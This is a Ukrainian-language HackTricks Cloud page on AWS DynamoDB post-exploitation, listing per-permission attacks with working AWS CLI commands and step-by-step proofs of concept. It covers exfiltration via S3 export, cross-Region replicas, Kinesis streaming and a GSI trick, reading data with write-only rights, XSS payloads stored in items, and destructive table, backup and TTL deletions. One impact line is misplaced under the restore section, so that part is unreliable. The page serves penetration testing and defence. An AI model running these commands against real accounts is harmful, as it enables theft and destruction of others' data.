AWS - DynamoDB Post Exploitation
Reading time: 17 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
DynamoDB
Для отримання додаткової інформації див.:
dynamodb:BatchGetItem
Атакувальник з цими дозволами зможе отримувати елементи з таблиць за первинним ключем (ви не можете просто запитати всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна дізнатися, отримавши метадані таблиці (describe-table).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Potential Impact: Опосередковане privesc через знаходження чутливої інформації в таблиці
dynamodb:GetItem
Подібно до попередніх дозволів цей дозволяє потенційному нападнику читати значення лише з 1 таблиці за наявності первинного ключа запису, який потрібно отримати:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
З цим дозволом також можливо використовувати метод transact-get-items наступним чином:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Можливий вплив: Indirect privesc шляхом знаходження конфіденційної інформації в таблиці
dynamodb:Query
Подібно до попередніх дозволів цей дозвіл дозволяє потенційному нападнику читати значення лише з однієї таблиці за наявності первинного ключа запису для отримання. Дозволяє використовувати підмножину порівнянь, але єдине порівняння, дозволене для первинного ключа (який має бути вказаним) — "EQ", тож ви не можете використати порівняння, щоб отримати всю базу даних в одному запиті.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Можливий вплив: Непрямий privesc шляхом знаходження конфіденційної інформації в таблиці
dynamodb:Scan
Ви можете використати цей дозвіл, щоб легко dump всю таблицю.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Потенційний вплив: Непрямий privesc шляхом виявлення конфіденційної інформації в таблиці
dynamodb:PartiQLSelect
Ви можете використовувати цей дозвіл, щоб легко dump всю таблицю.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Цей дозвіл також дозволяє виконувати batch-execute-statement, наприклад:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
але потрібно вказати первинний ключ зі значенням, тому це не так корисно.
Потенційний вплив: Опосередкований privesc шляхом знаходження чутливої інформації в таблиці
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Цей дозвіл дозволяє зловмиснику експортувати всю таблицю до S3 bucket за своїм вибором:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Зауважте, що для цього таблиця має мати увімкнену point-in-time-recovery, ви можете перевірити, чи таблиця має її за допомогою:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Якщо він не увімкнений, вам потрібно буде увімкнути його, і для цього потрібен дозвіл dynamodb:ExportTableToPointInTime:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Потенційний вплив: Непряме privesc шляхом знаходження конфіденційної інформації в таблиці
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Маючи ці дозволи, зловмисник зможе створити нову таблицю з резервної копії (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, за наявності необхідних дозволів, він зможе перевірити інформацію з резервних копій, яка не може більше бути в продукційній таблиці.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Потенційний вплив: Непряме privesc шляхом знаходження чутливої інформації у резервній копії таблиці
dynamodb:PutItem
Цей дозвіл дозволяє користувачам додавати новий елемент до таблиці або замінювати існуючий елемент новим елементом. Якщо елемент з тим самим первинним ключем вже існує, весь елемент буде замінено на новий. Якщо первинний ключ не існує, буде створено новий елемент зі вказаним первинним ключем.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Можливий вплив: Експлуатація додаткових вразливостей/обхідних шляхів завдяки можливості додавати/змінювати дані в таблиці DynamoDB
dynamodb:UpdateItem
Цей дозвіл дозволяє користувачам змінювати існуючі атрибути елемента або додавати нові атрибути до елемента. Він не замінює весь елемент; він лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція створить новий елемент з указаним первинним ключем і встановить атрибути, зазначені у виразі оновлення.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Potential Impact: Експлуатація подальших вразливостей/bypasses через можливість додавати/змінювати дані в таблиці DynamoDB
dynamodb:DeleteTable
Зловмисник з цим дозволом може видалити таблицю DynamoDB, що призведе до втрати даних.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Можливий вплив: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці.
dynamodb:DeleteBackup
Атакувальник із цим дозволом може видалити резервну копію DynamoDB, що може призвести до втрати даних у разі сценарію відновлення після аварії.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potential impact: Втрати даних та неможливість відновитися з резервної копії під час сценарію аварійного відновлення.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
note
TODO: Перевірити, чи це дійсно працює
Зловмисник з такими дозволами може увімкнути stream на таблиці DynamoDB, оновити таблицю, щоб почати streaming змін, а потім отримати доступ до stream для відстеження змін у таблиці в реальному часі. Це дозволяє зловмиснику відстежувати та exfiltrate зміни даних, що потенційно може призвести до data leakage.
- Увімкнути stream на таблиці DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Описати stream, щоб отримати ARN та інші деталі:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Отримайте shard iterator, використовуючи stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Використайте shard iterator, щоб отримати доступ і exfiltrate дані зі stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Potential impact: Моніторинг у реальному часі та data leakage змін таблиці DynamoDB.
Read items via dynamodb:UpdateItem and ReturnValues=ALL_OLD
Зловмисник, який має лише dynamodb:UpdateItem для таблиці, може читати елементи без будь-яких звичних прав на читання (GetItem/Query/Scan), виконавши нешкідливе оновлення та запросивши --return-values ALL_OLD. DynamoDB поверне повний стан елемента до оновлення у полі Attributes відповіді (це не споживає RCUs).
- Minimum permissions:
dynamodb:UpdateItemon the target table/key. - Prerequisites: Потрібно знати первинний ключ елемента.
Example (додає нешкідливий атрибут і exfiltrates попередній елемент у відповіді):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
У відповіді CLI буде блок Attributes, що містить повний попередній елемент (all attributes), фактично надаючи read primitive з write-only access.
Potential Impact: Read arbitrary items з таблиці, маючи лише write permissions, що дозволяє sensitive data exfiltration, якщо відомі primary keys.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Stealth exfiltration шляхом додавання нового replica Region до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати regional replica, вся таблиця реплікується в attacker-chosen Region, звідки attacker може прочитати всі items.
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
Дозволи: dynamodb:UpdateTable (with replica-updates) або dynamodb:CreateTableReplica для цільової таблиці. Якщо у реплиці використовується CMK, можуть знадобитися KMS-права для цього ключа.
Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
dynamodb:TransactWriteItems (read via failed condition + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Атакуючий із правами транзакційного запису може exfiltrate повні атрибути існуючого елемента, виконавши Update всередині TransactWriteItems, який навмисно провалює ConditionExpression, одночасно встановивши ReturnValuesOnConditionCheckFailure=ALL_OLD. При провалі DynamoDB додає попередні атрибути до причин скасування транзакції, фактично перетворюючи доступ тільки для запису на доступ для читання по цільових ключах.
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
Права: dynamodb:TransactWriteItems на цільовій таблиці (та на відповідному елементі). Права на читання не потрібні.
Можливий вплив: читання довільних елементів (за первинним ключем) з таблиці, використовуючи лише транзакційні права на запис через повернені причини скасування.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query на GSI
Обійдіть обмеження на читання, створивши Global Secondary Index (GSI) з ProjectionType=ALL на атрибуті з низькою ентропією, встановіть цей атрибут у постійне значення для всіх елементів, а потім за допомогою Query індексу отримайте повні елементи. Це працює навіть якщо Query/Scan до базової таблиці заборонено, за умови що ви можете виконувати запити до ARN індексу.
- Мінімальні дозволи:
dynamodb:UpdateTableна цільовій таблиці (щоб створити GSI зProjectionType=ALL).dynamodb:UpdateItemна ключах цільової таблиці (щоб встановити індексований атрибут у кожному елементі).dynamodb:Queryна ARN ресурсу індексу (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Кроки (PoC у us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Потенційний вплив: Full table exfiltration шляхом запиту до новоствореного GSI, який проєктує всі атрибути, навіть коли read APIs базової таблиці заборонені.
dynamodb:EnableKinesisStreamingDestination (Continuous exfiltration via Kinesis Data Streams)
Зловживання DynamoDB Kinesis streaming destinations для безперервної exfiltration змін із таблиці в attacker-controlled Kinesis Data Stream. Після увімкнення кожна подія INSERT/MODIFY/REMOVE передається near real-time у stream без потреби в read permissions до таблиці.
Мінімальні дозволи (attacker):
dynamodb:EnableKinesisStreamingDestinationна цільовій таблиці- Опційно
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTableдля моніторингу статусу - Дозволи на читання на Kinesis stream, що належить attacker, для споживання записів:
kinesis:*
PoC (us-east-1)
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
dynamodb:UpdateTimeToLive
Зловмисник, який має дозвіл dynamodb:UpdateTimeToLive, може змінювати конфігурацію TTL (time-to-live) таблиці — вмикати або вимикати TTL. Коли TTL увімкнено, окремі елементи, що містять налаштований атрибут TTL, будуть автоматично видалені, щойно настане їхній час завершення. Значення TTL — це просто ще один атрибут у кожному елементі; елементи без цього атрибуту не підлягають видаленню на основі TTL.
Якщо елементи ще не містять атрибут TTL, зловмисникові також знадобиться дозвіл на оновлення елементів (наприклад dynamodb:UpdateItem), щоб додати атрибут TTL і спричинити масові видалення.
Спочатку увімкніть TTL для таблиці, вказавши ім'я атрибуту, який використовуватиметься для визначення терміну придатності:
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
Потім оновіть елементи, додавши атрибут TTL (секунди епохи), щоб вони протермінувалися й були видалені:
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime
Атакуючий, у якого є дозволи dynamodb:RestoreTableFromAwsBackup або dynamodb:RestoreTableToPointInTime, може створювати нові таблиці, відновлені з резервних копій або за допомогою відновлення до точки часу (PITR), не перезаписуючи оригінальну таблицю. Відновлена таблиця містить повний знімок даних на обрану точку, тож атакуючий може використати її для exfiltrate історичної інформації або отримати повний dump попереднього стану бази даних.
Restore a DynamoDB table from an on-demand backup:
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
Відновити таблицю DynamoDB до точки в часі (створити нову таблицю з відновленим станом):
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
Потенційний вплив: Постійна, майже у режимі реального часу exfiltration змін таблиці у Kinesis stream, який контролюється атакуючим, без прямих операцій читання таблиці.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud